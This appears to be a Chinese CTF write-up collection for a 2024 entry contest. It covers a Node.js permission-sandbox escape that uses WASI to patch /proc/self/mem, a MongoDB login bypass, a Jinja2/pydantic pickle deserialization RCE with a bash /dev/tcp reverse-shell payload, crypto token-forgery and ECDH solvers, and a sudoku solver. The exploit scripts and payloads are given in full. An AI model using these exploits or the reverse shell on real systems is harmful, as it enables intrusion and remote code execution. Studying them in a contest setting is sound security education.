看了老半天,其他都不是关键点,简单来说,就是要绕过
--experimental-permission
。根据往年的 CVE,通过 require,Inspector/Worker 等绕过,应当可以想到这里可能还存在某些不遵守这玩意限制的东西。然后就在 PR 的第二页(一周前发布)翻到了关于 “prevent WASI exec” 的描述。
https://github.com/nodejs/node/commit/3ab0499d434078676261512a67897f4c2f433e43
过一眼就明白了,也就是说 WASM 这玩意可以绕过沙箱的限制,任意读写文件。题目环境采用 node 20.14.0,虽然很新,但这个 issue 更新,所以可以利用。
写这玩意的 wasm 实在是头疼,文档里也不说清楚,还得自己翻。Node.JS 里只提供了 wasi_snapshot_preview1 系列的标准接口可供调用,包括 path_open、fd_write、fd_seek 等,啥都得自己实现。
https://nodejs.org/api/wasi.html
https://fossies.org/linux/wasm3/source/extra/wasi_core.h
之前的想法是先列目录看看有什么效果,虽然读到 /readflag 的时候已经有点发慌了,但还是写 wasm 写了一段时间,包括由于 wasm 中没有回显,其输出怎么跟 Node.JS 交互,等等。然后发现确实是要 RCE,这下难受了。
不过好在可以读写 /proc/self/mem,理论上可以采用 pwn 的那种方式劫持控制流,这里使用了一种比较简单的实现,就是把 experimental-permissions 带来的影响给 patch 掉。
在 native 代码里,最终调用的都是这个宏,最后进到 is_scope_granted()
好在 node 没有 PIE,而且题目环境中的版本可以下下来,所以这里的 offset 都是固定的。
这函数里边随便挑 6 个字节,写成
0xB8, 0x01, 0x00, 0x00, 0x00, 0xC3
也就是mov eax, 1 ; retn
即可。
用 wasm 实现,也就是:// docker run --rm -v $(pwd):/src -u $(id -u):$(id -g) emscripten/emsdk emcc file_patch.c -o file_patch.wasm -s WASM=1 -s STANDALONE_WASM
#include <wasi/api.h>
#define BUF_SIZE 1024
unsigned long strlen(const char* str) {
const char* p = str;
unsigned long len = 0;
while (*(p++)) len++;
return len;
}
// Declare the external function
extern void custom_write(int c) __attribute__((import_module("env"), import_name("custom_write")));
void my_write(const char *entry, int length) {
while (length--) custom_write(*(entry++)); // Call the custom Node.js function
custom_write('\n'); // Print newline
}
void handle_error(__wasi_errno_t err) {
if (err != __WASI_ERRNO_SUCCESS) {
my_write("err:", 4); custom_write(err);
__wasi_proc_exit(err);
}
}
int main(int argc, char *argv[]) {
const char* wpath = "/proc/self/mem";
__wasi_errno_t status;
__wasi_fd_t wfd;
status = __wasi_path_open(3, 0, wpath, strlen(wpath),
0, __WASI_RIGHTS_FD_WRITE | __WASI_RIGHTS_FD_READ | __WASI_RIGHTS_FD_SEEK, 0, 0, &wfd);
handle_error(status);
__wasi_filesize_t noff;
status = __wasi_fd_seek(wfd, 0x00e0ed57, __WASI_WHENCE_SET, &noff);
handle_error(status);
unsigned char filebuf[1024] = { 0xB8, 0x01, 0x00, 0x00, 0x00, 0xC3 };
__wasi_ciovec_t iov = {
.buf = filebuf,
.buf_len = 6
};
size_t nread;
status = __wasi_fd_write(wfd, &iov, 1, &nread);
handle_error(status);
__wasi_fd_close(wfd);
my_write("suc", 3);
return 0;
}
写完之后 Node.JS 就跟没有限制一样了,直接 execSync() 读 flag 即可。
import { WASI } from 'node:wasi';
import { execSync } from 'node:child_process';
export async function main() {
const wasi = new WASI({
version: 'preview1',
args: ['mywasm', '/', '/proc/self/maps'],
env: {},
preopens: {
'/': '/',
},
});
let s = '';
function customWrite(c) {
if (c > 128) s += c.toString(16);
else s += String.fromCharCode(c)
}
await (async () => {
const wasm = await WebAssembly.compile(
Buffer.from("[HEX]", "hex"),
);
const instance = await WebAssembly.instantiate(wasm, {
...wasi.getImportObject(),
env: {
custom_write: customWrite,
},
});
wasi.start(instance);
})();
//return s;
return execSync('/readflag').toString();
import requests
URL = 'http://ctf2024-entry.r3kapig.com:32482'
data = {'username': 'test', 'password': '12345678'}
res = requests.post(URL + '/api/register', json=data)
print(res.text)
while True:
data = {"$expr": {"$eq": ["$username", {"$cond": [{"$gt": [{"$rand": {}}, 0.4]}, "admin", "test"]}]}, "password": "12345678"}
res = requests.post(URL + '/api/login', json=data)
print(res.text)
if res.status_code == 200:
token = res.json()['token']
res = requests.get(URL + '/api/session', params={'token': token})
print(res.text)
if res.json()['plan'] == 'premium':
break
with open('file_patch.wasm', 'rb') as f:
HEX = f.read().hex()
mjs = '''
// <--- above MJS code
'''.replace('[HEX]', HEX)
data = {'code': mjs, 'token': token}
res = requests.post(URL + '/api/run', json=data)
print(res.json())
后注:最后提示 websocket 了还是没想到,向 parnet 发 SIGUSR1 可以直接打开 inspector,debug 父进程,就与沙箱完全无关了。
4.NinjaClub
半小时解决。Jinja2 的 SandboxEnvironment 基本上没法逃逸,把下划线,内置类型检测了个遍。那么问题就在于传进去的参数,pydantic 源代码顺着往里边翻一翻,马上就能发现:
这个 allow_pickle 参数可疑得不能再可疑了好吧。继续跟进,直接 pickle.load() 了就,content_type 也是可控的。
Template传进去的是个BaseModel,也就是说user继承了BaseModel的function。审计一下BaseModel,parse_raw这里就是个pickle反序列化
构造一下应该就能出了。这个题恶心的一点就是不出网,并且反序列化回来会校验user实体。那么直接构造一个dict,把回显写在name里即可。
s = 'whoami'popen = GLOBAL(
'os', 'popen')
getattr = GLOBAL('__builtin__', 'getattr')
c = popen(s)
read = getattr(c, 'read')
dict = GLOBAL('__builtin__', 'dict')
res = dict()
res['name'] = read()
res['age'] = 30
return res
输出:
parse_raw这样构造一下就行,把allow_pickle打开即可。
{{user.parse_raw(b="",content_type='pickle',allow_pickle=True)}}
{{user.parse_raw('c__builtin__\neval\np0\n(V__import__("os").system("/bin/bash -c \'bash -i >& /dev/tcp/IP/PORT 0>&1\'")\np1\ntp2\nRp3\n.',content_type='pickle',allow_pickle=True)}}
题目源码:
from hashlib import md5
from Crypto.Cipher import AES
from Crypto.Util.number import *
import gmpy2
from pwn import *AliceUsername = b'AliceIsSomeBody'
BobUsername = b'BobCanBeAnyBody'context.log_level = 'DEBUG'
sh = remote('ctf2024-entry.r3kapig.com',31781)
sh.recvuntil(b'Now input your option: ')
sh.sendline(b'3')
sh.recvuntil(b'Username[HEX]: ')
sh.sendline(b'try1'.hex().encode())
sh.recvuntil(b'Password[HEX]: ')
sh.sendline(b'try2key'.hex().encode())
sh.recvuntil(b"Register successfully, try1 's token is ")
try1token = int(sh.recvuntil(b'.\n')[:-2],16)
# print(try1token)
sh.recvuntil(b"Now input your option: ")
sh.sendline(b'1')
sh.recvuntil(b'Username[HEX]: ')
sh.sendline(b'try1'.hex().encode())
sh.recvuntil(b'Password[HEX]: ')
sh.sendline(b'try2key'.hex().encode())
sh.recvuntil(b'Login successfully!\n')sh.recvuntil(b'Hello try1,do you need any services? ')
sh.sendline(b'1')
sh.recvuntil(b'Username[HEX]: ')
sh.sendline(BobUsername.hex().encode())
sh.recvuntil(b"New Password[HEX]: ")
sh.sendline(b'Bob11'.hex().encode())
sh.recvuntil(b",do you need any services? ")
sh.sendline(b'1')
sh.recvuntil(b'Username[HEX]: ')
sh.sendline(AliceUsername.hex().encode())
sh.recvuntil(b"New Password[HEX]: ")
sh.sendline(b'Alice11'.hex().encode())sh.recvuntil(b",do you need any services? ")
sh.sendline(b'5')
sh.recvuntil(b"Now input your option: ")
sh.sendline(b'1')
sh.recvuntil(b"Username[HEX]: ")
sh.sendline(AliceUsername.hex().encode())
sh.recvuntil(b"Password[HEX]: ")
sh.sendline(b'Alice11'.hex().encode())sh.recvuntil(b",do you need any services? ")
sh.sendline(b'3')
sh.recvuntil(b",do you need any services? ")
sh.sendline(b'4')
sh.recv()
解题wp:
from Crypto.Util.number import *
Alice_pub = '632d947f774d6f4c0f462233682bab1e2305976b35b89fef050aa7dfb516885b4d5c6e46c1c0c9427a5c82539aaa18a99cc4ba1adafbacdc860f0d88eedd2713'
Bob_pub = '364d168180a928286d448bceb0b06ca186da0968469b5e4ffa88fcd91929e3345dcf724620318dc3f45b84c9849c43874cb02a53afea98db59b6c8a09070f0f3'
c = 'e3a583dfd51a1278c4e49ddce9fcf606af78a2d02a0a804c6b8b2a3deae301a9df7ff8fdfa0b115378f771eec6f54dade6730ea6d3ab460973f2345aa8fc2ae53e1f47e9cfa9f32ab1e11e1863f65b40e5b01831c0c0ab092b9af9ebaaa3035f'
Alice_pri = int('cd2a4b358441c00c43d966b28612c2233c649b6f648b35c97422f985e5c2dffa',16)
print(len(Bob_pub))def b2i(b):
return int.from_bytes(b,byteorder='big')def pad(msg):
return msg + bytes([i for i in range(16 - int(len(msg) % 16))])class Curve:
def __init__(self):
# Nist p-256
self.p = 0xffffffff00000001000000000000000000000000ffffffffffffffffffffffff
self.a = 0xffffffff00000001000000000000000000000000fffffffffffffffffffffffc
self.b = 0x5ac635d8aa3a93e7b3ebbd55769886bc651d06b0cc53b0f63bce3c3e27d2604b
self.G = (0x6b17d1f2e12c4247f8bce6e563a440f277037d812deb33a0f4a13945d898c296,
0x4fe342e2fe1a7f9b8ee7eb4a7c0f9e162bce33576b315ececbb6406837bf51f5)
self.n = 0xffffffff00000000ffffffffffffffffbce6faada7179e84f3b9cac2fc632551
def add(self,P, Q):
if (P == (0, 0)):
return Q
elif (Q == (0, 0)):
return P
else:
x1, y1 = P
x2, y2 = Q
if ((x1 == x2) & (y1 == -y2)):
return ((0, 0))
else:
if (P != Q):
l = (y2 - y1) * pow(x2 - x1, -1, self.p)
else:
l = (3 * (x1**2) + self.a) * pow(2 * y1, -1, self.p)
x3 = ((l**2) - x1 - x2) % self.p
y3 = (l * (x1 - x3) - y1) % self.p
return x3, y3def mul(self, n , P):
Q = P
R = (0, 0)
while (n > 0):
if (n % 2 == 1):
R = self.add(R, Q)
Q = self.add(Q, Q)
n = n // 2
return Rclass ECDH:
def __init__(self):
self.curve = Curve()
self.private_key = Alice_pri
self.public_key = self.curve.mul(self.private_key, self.curve.G)
def exchange_key(self,publickey):
return md5(str(self.curve.mul(self.private_key,publickey)).encode()).digest()def enc(msg,key):
aes = AES.new(key,AES.MODE_ECB)
return aes.decrypt(msg)pub = (int(Bob_pub[:
64],16),int(Bob_pub[64:],16))
K = ECDH()
key = K.exchange_key(pub)m = enc(long_to_bytes(int(c,
16)),key)
print(m)
直接注册Bob的账号,python交互不知道为啥会断开,手动交互吧
from Crypto.Util.number import *
from hashlib import md5
from Crypto.Cipher import AES
from Crypto.Util.number import *
import gmpy2Alice_pub = '4a215c357541eeb3e55bd2ec965a4d8482f737c875eb0b3cbaa8c7d3f242f43ed107e6be779aa9beca0e7a7730edacd258af9a42668f66689dc64f93b7c253ad'
Bob_pub = '0dd29bca4ad78a4c3db149ad2a2eceab7915e7edcacabb904518256d7d16fa4ca6014a0adc7933444ccd43d0ef53135bd298c64bfa4ac45ee3ce26924fffd07b'
c = 'ffec0914ffeacda46c41d64c5bcf80f8d70fa0d48fa3f2f0cdbad88524fc6f47bc31ebceae0a441f3d56d6be438f39897ffbb68308b60ce2f32e6d3186375b1d'
Bob_pri = int('01a0ed4997b932229e13475a876758114ce1c737f22125fe053c802a74503a7f',16)
# print(len(Bob_pub))def b2i(b):
return int.from_bytes(b,byteorder='big')def pad(msg):
return msg + bytes([i for i in range(16 - int(len(msg) % 16))])class Curve:
def __init__(self):
# Nist p-256
self.p = 0xffffffff00000001000000000000000000000000ffffffffffffffffffffffff
self.a = 0xffffffff00000001000000000000000000000000fffffffffffffffffffffffc
self.b = 0x5ac635d8aa3a93e7b3ebbd55769886bc651d06b0cc53b0f63bce3c3e27d2604b
self.G = (0x6b17d1f2e12c4247f8bce6e563a440f277037d812deb33a0f4a13945d898c296,
0x4fe342e2fe1a7f9b8ee7eb4a7c0f9e162bce33576b315ececbb6406837bf51f5)
self.n = 0xffffffff00000000ffffffffffffffffbce6faada7179e84f3b9cac2fc632551
def add(self,P, Q):
if (P == (0, 0)):
return Q
elif (Q == (0, 0)):
return P
else:
x1, y1 = P
x2, y2 = Q
if ((x1 == x2) & (y1 == -y2)):
return ((0, 0))
else:
if (P != Q):
l = (y2 - y1) * pow(x2 - x1, -1, self.p)
else:
l = (3 * (x1**2) + self.a) * pow(2 * y1, -1, self.p)
x3 = ((l**2) - x1 - x2) % self.p
y3 = (l * (x1 - x3) - y1) % self.p
return x3, y3def mul(self, n , P):
Q = P
R = (0, 0)
while (n > 0):
if (n % 2 == 1):
R = self.add(R, Q)
Q = self.add(Q, Q)
n = n // 2
return Rclass ECDH:
def __init__(self):
self.curve = Curve()
self.private_key = Bob_pri
self.public_key = self.curve.mul(self.private_key, self.curve.G)
def exchange_key(self,publickey):
return md5(str(self.curve.mul(self.private_key,publickey)).encode()).digest()def enc(msg,key):
aes = AES.new(key,AES.MODE_ECB)
return aes.decrypt(msg)pub = (int(Alice_pub[:64],16),int(Alice_pub[64:],16))
K = ECDH()
key = K.exchange_key(pub)m = enc(long_to_bytes(int(c,16)),key)
print(m)
https://eprint.iacr.org/2023/305.pdf
伪造token,伪造成功
# https://eprint.iacr.org/2023/305.pdf
# https://7rocky.github.io/en/ctf/other/corctf/qcg-k/
from hashlib import md5
from Crypto.Cipher import AES
from Crypto.Util.number import *
import gmpy2
from pwn import *AliceUsername =
b'AliceIsSomeBody'
BobUsername = b'BobCanBeAnyBody'
MOD = 0x10000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000283
context.log_level = 'DEBUG'
while 1:
sh = remote('ctf2024-entry.r3kapig.com','31886')
token = []def b2i(b):
return int.from_bytes(b,byteorder='big')for i in range(10):
sh.recvuntil(b'Now input your option: ')
sh.sendline(b'3')
sh.recvuntil(b'Username[HEX]: ')
sh.sendline(f'try{i}'.encode().hex().encode())
sh.recvuntil(b'Password[HEX]: ')
sh.sendline(b'trykey'.hex().encode())
sh.recvuntil(f"Register successfully, try{i} 's token is ".encode())
token.append(int(sh.recvuntil(b".\n")[:-2],16))
# print(token)
# print(f'try{i}'.encode().hex())
# print(b'trykey'.hex())
# print('-'*60)from functools import cache
from sage.all import GF, PolynomialRing
from Crypto.Util.number import *def k_ij(i, j):
return x * (pow(token[i],-1,q) - pow(token[j],-1,q)) + (-u[i]) - (-u[j])def dpoly(n, i, j):
if i == 0:
return k_ij(j + 1, j + 2) ** 2 - k_ij(j + 2, j + 3) * k_ij(j, j + 1)left = dpoly(n, i -
1, j)
for m in range(1, i + 2):
left *= k_ij(j + m, j + i + 2)right = dpoly(n, i -
1, j + 1)
for m in range(1, i + 2):
right *= k_ij(j, j + m)return left - rightq =
179769313486231590772930519078902473361797697894230657273430081157732675805500963132708477322407536021120113879871393357658789768814416622492847430639474124377767893424865485276302219601246094119453082952085005768838150682342462881473913110540827237163350510684586298239947245938479716304835356329624224137859
Fq = GF(q)
x = PolynomialRing(Fq, 'x').gens()[0]
u = []
for i in range(10):
token[i] = Fq(token[i])
u.append(int(f'try{i}'.encode().hex(),16))N =
10
pol = dpoly(N - 4, N - 4, 0)
secret = pol.roots()
print(len(secret))
if len(secret) == 2:
print('-'*60)
print(token)
print(secret[1][0])
print(pol.roots())
q = 179769313486231590772930519078902473361797697894230657273430081157732675805500963132708477322407536021120113879871393357658789768814416622492847430639474124377767893424865485276302219601246094119453082952085005768838150682342462881473913110540827237163350510684586298239947245938479716304835356329624224137859
# token = [106059497226230078458408573548321522716731725799788329078185586313815926198786283229056460822188793913821381666495251726267106621314658816426114026202874264301311981366174550459244596265305815754933877853234119479492566891678520638945193574839652838841897044204741673519677458754474366826547057897515026724848, 47779134463461938926784751047825979292269094946568692939404713492011230117629761155779851181457396929641936224158552994587078896758215173995601320993839406108967926874172990659955225199974449650174420457407282282200571423658580354611757483081890798193660712063358386112539821026744968444515622130726900239736, 6019943175433302947934690873635058162287681100248021727464564163519392818412390410331290937835893162877644138873871237079538825688146346220557440276548235811524529326955065109956245587384883118646717417832321909917952062203568707642969977550858219727897942030447721296260910991378960446932119401177088481101, 87366091011617621011994203682638757774549496014511565786019048885633795608534406810797304904842442962750474688522542125102222205045224867671241373679622534023429816640889029782226330278878222739729367046959641320415162583370782941515441049046525274560503163657767716097889995000902550291930655118630272187236, 162253270840664463417218196571085196871091797499865805208031509772425458817614063479197094963500577594095925971402551698239212052148910616858817156373954657472523576731428256448818335996409727698745257604493772170217937612767064335133206868791051299144418047833021240318645816550420294524729988468480435887497, 16316159479225612300545615409718990694205381146382791061875851500122541211303872430537288252492644632122096208526557818206957172949606411140810284034078506052569405921204754742275767216885404857318557969754723282586567318942107713278795011776474047765849328695928938150210465524196392099313042988854140728571, 110684449328943736291261911386113967696573864578481873880367217362009886560991405747198017836213552234301282996693430383750292263465467888387505858193619361586819843726572232285738123704133886101707221931680558660384074855076241699302349982605324147403540584525624326285095590160394006554279025380946081520300, 7356599452619556773251194532777561267773145160514835573833588213879013017196468709171138802612399590197923948339027347406993627143242196724078569150122270247338513256791925724480915374824804344499044323246127533120391390418146580877249943216801651260909727234265972977871490098310852917404374165851771600054, 79378643533773177910480239060210987694532674099080062811324829674731184600353273644681398671779081023781611203106498867926311834788227689646072834319606886671941281030178549230498622518109279323029421140996969495153113038798152281011121979052267716458401937806197678273055467808912219079291805483775278618402, 110179524962782493054573311837314282098980987859591882395423393533138851596355452556474077550143760118285004986723362769018067819061818008647687561164809569238857587591201709593890657073827773089305542908925988851353176471460589495509823945721749989059560328268409542559444192460370913632249416427930608028847, 35384376988896111495552489453762246315478997052680054073836682930332914874238114867688834674464731577039550267819156800221016033350889962187366758327534596906583466852055407646306410231870664867147693493193476597590756070907821288287575690452983279436282212713311407594154490312755517436369884174770742549861]se = int(secret[
1][0])
Fq = GF(q)
x = PolynomialRing(Fq, 'x').gens()[0]u = []
for i in range(10):
token[i] = Fq(token[i])
u.append(int(f'try{i}'.encode().hex(), 16))k = []
for i in range(10):
# print(i)
k.append((-u[i]) + se*pow(token[i],-1,q) % q)a = matrix(Fq,
8,8)
for i in range(8):
for j in range(8):
a[i,j] = k[i]^(7-j) % qinverse_matrix0 = a^(
-1)
k_solve0 = vector(k[1:9])result_matrix0 = inverse_matrix0 * k_solve0
-1]
AA = result_matrix0[::
print(AA)
if AA[-2] == 0 and AA[-1] == 0:
continueprint(k[
1],k[2])
sum = 0
for i in range(8):
sum += AA[i]*(k[1]^i) % q
print(sum)s =
0
for i in range(8):
s += AA[i]*(k[-1]^i) % qBob_token = se*pow(s+bytes_to_long(BobUsername),
-1,q) % qsh.recvuntil(
b'Now input your option: ')
sh.sendline(b'1')
sh.recvuntil(b'Username[HEX]: ')
sh.sendline(f'try0'.encode().hex().encode())
sh.recvuntil(b'Password[HEX]: ')
sh.sendline(b'trykey'.hex().encode())
sh.recvuntil(b",do you need any services? ")
sh.sendline(b'5')sh.recvuntil(
b'Now input your option: ')
sh.sendline(b'2')
sh.recvuntil(b'Username[HEX]: ')
sh.sendline(BobUsername.hex().encode())
sh.recvuntil(b"Token[HEX]: ")
sh.sendline(hex(Bob_token)[2:].encode())sh.recvuntil(
b",do you need any services? ")
sh.sendline(b'4')sh.recvuntil(
b",do you need any services? ")
sh.sendline(b'3')
sh.recv()
break
sh.close()解题wp:
from Crypto.Util.number import *
from hashlib import md5
from Crypto.Cipher import AES
from Crypto.Util.number import *
import gmpy2Alice_pub =
'2f964b3572232b1b6059c8994cb99287134e6545693320ff676d09d9b304686d8d8ac7e2ebefa2edcd5df186efdcd45ea755edab77593f64e25fdbf6e79d754b'
Bob_pub = 'aa8b8272443ec7e941197729996a86a121d4f635e584858f0152de2bb983bf295a6ff58354cb89d23318b3490f3c76cd633686a00f6c82e9eb54fbe621bc44cf'
c = 'f7eb15c02d440c835677e0d884ff559b93e1bb96a1821f1221545affaa6ba5eec39982110f1971b8d2e75a3b35ce585fb5f75ed360bd2eeb23a9dbaedfa27fc171b5ba3ac923ab6b835ac0be0e6c7b2c'
Bob_pri = int('97947336c7e877ed359f4268074bf9cbd4788bcd5a160cbea1e95b5d2516d7dc',16)
# print(len(Bob_pub))def b2i(b):
return int.from_bytes(b,byteorder='big')def pad(msg):
return msg + bytes([i for i in range(16 - int(len(msg) % 16))])class Curve:
def __init__(self):
# Nist p-256
self.p = 0xffffffff00000001000000000000000000000000ffffffffffffffffffffffff
self.a = 0xffffffff00000001000000000000000000000000fffffffffffffffffffffffc
self.b = 0x5ac635d8aa3a93e7b3ebbd55769886bc651d06b0cc53b0f63bce3c3e27d2604b
self.G = (0x6b17d1f2e12c4247f8bce6e563a440f277037d812deb33a0f4a13945d898c296,
0x4fe342e2fe1a7f9b8ee7eb4a7c0f9e162bce33576b315ececbb6406837bf51f5)
self.n = 0xffffffff00000000ffffffffffffffffbce6faada7179e84f3b9cac2fc632551
def add(self,P, Q):
if (P == (0, 0)):
return Q
elif (Q == (0, 0)):
return P
else:
x1, y1 = P
x2, y2 = Q
if ((x1 == x2) & (y1 == -y2)):
return ((0, 0))
else:
if (P != Q):
l = (y2 - y1) * pow(x2 - x1, -1, self.p)
else:
l = (3 * (x1**2) + self.a) * pow(2 * y1, -1, self.p)
x3 = ((l**2) - x1 - x2) % self.p
y3 = (l * (x1 - x3) - y1) % self.p
return x3, y3def mul(self, n , P):
Q = P
R = (0, 0)
while (n > 0):
if (n % 2 == 1):
R = self.add(R, Q)
Q = self.add(Q, Q)
n = n // 2
return Rclass ECDH:
def __init__(self):
self.curve = Curve()
self.private_key = Bob_pri
self.public_key = self.curve.mul(self.private_key, self.curve.G)
def exchange_key(self,publickey):
return md5(str(self.curve.mul(self.private_key,publickey)).encode()).digest()def enc(msg,key):
aes = AES.new(key,AES.MODE_ECB)
return aes.decrypt(msg)pub = (int(Alice_pub[:
64],16),int(Alice_pub[64:],16))
K = ECDH()
key = K.exchange_key(pub)m = enc(long_to_bytes(int(c,
16)),key)
print(m)
第一个输入要求81个字符
高度怀疑需要全数字
本着做传统数独的规则,怀疑是81个1到9之间。
一组输入疑似会*2+1
012345678?
这语言疑似先天就会*2+1???
6 | * | 1 | * | * | * | * | * | * |
---|---|---|---|---|---|---|---|---|
* | * | * | * | * | * | * | * | * |
* | * | * | * | 5 | * | * | * | * |
4 | * | 5 | * | 2 | * | * | * | * |
* | * | * | * | * | * | 0 | 2 | * |
* | * | * | * | * | * | 7 | * | 5 |
* | 3 | * | * | * | * | 4 | * | * |
* | * | 7 | 4 | * | 1 | * | * | * |
* | 4 | * | * | * | * | * | * | * |
6 | 0 | 1 | 2 | 3 | 4 | 5 | 7 | 8 |
---|---|---|---|---|---|---|---|---|
2 | 5 | 3 | 0 | 7 | 8 | 1 | 4 | 6 |
7 | 8 | 4 | 1 | 5 | 6 | 2 | 0 | 3 |
4 | 6 | 5 | 7 | 2 | 0 | 3 | 8 | 1 |
3 | 7 | 8 | 6 | 1 | 5 | 0 | 2 | 4 |
0 | 1 | 2 | 8 | 4 | 3 | 7 | 6 | 5 |
8 | 3 | 0 | 5 | 6 | 2 | 4 | 1 | 7 |
5 | 2 | 7 | 4 | 8 | 1 | 6 | 3 | 0 |
1 | 4 | 6 | 3 | 0 | 7 | 8 | 5 | 2 |
from z3 import *# 创建一个 9x9 的矩阵,表示数独的每一个单元格
X = [[Int(f'x_{i+1}_{j+1}') for j in range(9)] for i in range(9)]# 每个单元格的值在 1 到 9 之间
cells_c = [And(X[i][j] >= 0, X[i][j] <= 8) for i in range(9) for j in range(9)]# 每一行的值互不相同
rows_c = [Distinct(X[i]) for i in range(9)]# 每一列的值互不相同
cols_c = [Distinct([X[i][j] for i in range(9)]) for j in range(9)]# 每一个 3x3 子宫格的值互不相同
sq_c = [Distinct([X[3*i0 + i][3*j0 + j] for i in range(3) for j in range(3)])
for i0 in range(3) for j0 in range(3)]# 对角线的值互不相同
diag1_c = [Distinct([X[i][i] for i in range(9)])]
diag2_c = [Distinct([X[i][8-i] for i in range(9)])]diag3_c = [Distinct([X[i][(i+
1)%9] for i in range(9)])]
diag4_c = [Distinct([X[i][(i+2)%9] for i in range(9)])]
diag5_c = [Distinct([X[i][(i+3)%9] for i in range(9)])]
diag6_c = [Distinct([X[i][(i+4)%9] for i in range(9)])]
diag7_c = [Distinct([X[i][(i+5)%9] for i in range(9)])]
diag8_c = [Distinct([X[i][(i+6)%9] for i in range(9)])]
diag9_c = [Distinct([X[i][(i+7)%9] for i in range(9)])]
diag10_c = [Distinct([X[i][(i+8)%9] for i in range(9)])]# 合并所有约束
sudoku_c = cells_c + rows_c + cols_c
# sudoku_c += sq_c
sudoku_c += diag1_c
# sudoku_c += diag2_c
sudoku_c += diag3_c + diag4_c + diag5_c + diag6_c + diag7_c + diag8_c + diag9_c + diag10_c# 创建求解器
s = Solver()
s.add(sudoku_c)# 例如添加一些初始值(可以根据具体问题设置)
initial_values = [
(0,0,6),
(0,2,1),
(2,4,5),
(3,0,4),
(3,2,5),
(3,4,2),
(4,6,0),
(4,7,2),
(5,6,7),
(5,8,5),
(6,1,3),
(6,6,4),
(7,2,7),
(7,3,4),
(7,5,1),
(8,1,4)
]for (i, j, v) in initial_values:
s.add(X[i][j] == v)# 求解数独
if s.check() == sat:
m = s.model()
r = [[m.evaluate(X[i][j]) for j in range(9)] for i in range(9)]
for row in r:
print(row)
# for a in row:
# print(a,end='')
# print()
for row in r:
for a in row:
print(a,end='')
else:
print("No solution found")
#651708243714865302320654871485327160576183024168042735832570416207431658043216587
附件题目下载地址:
链接: https://pan.baidu.com/s/1B6Da1iVGnnpDTIMk1YLOBg 提取码: r7s2
转自原文参考连接地址:
https://mp.weixin.qq.com/s/ruD0Cia6EvvUqm3cEiPVIg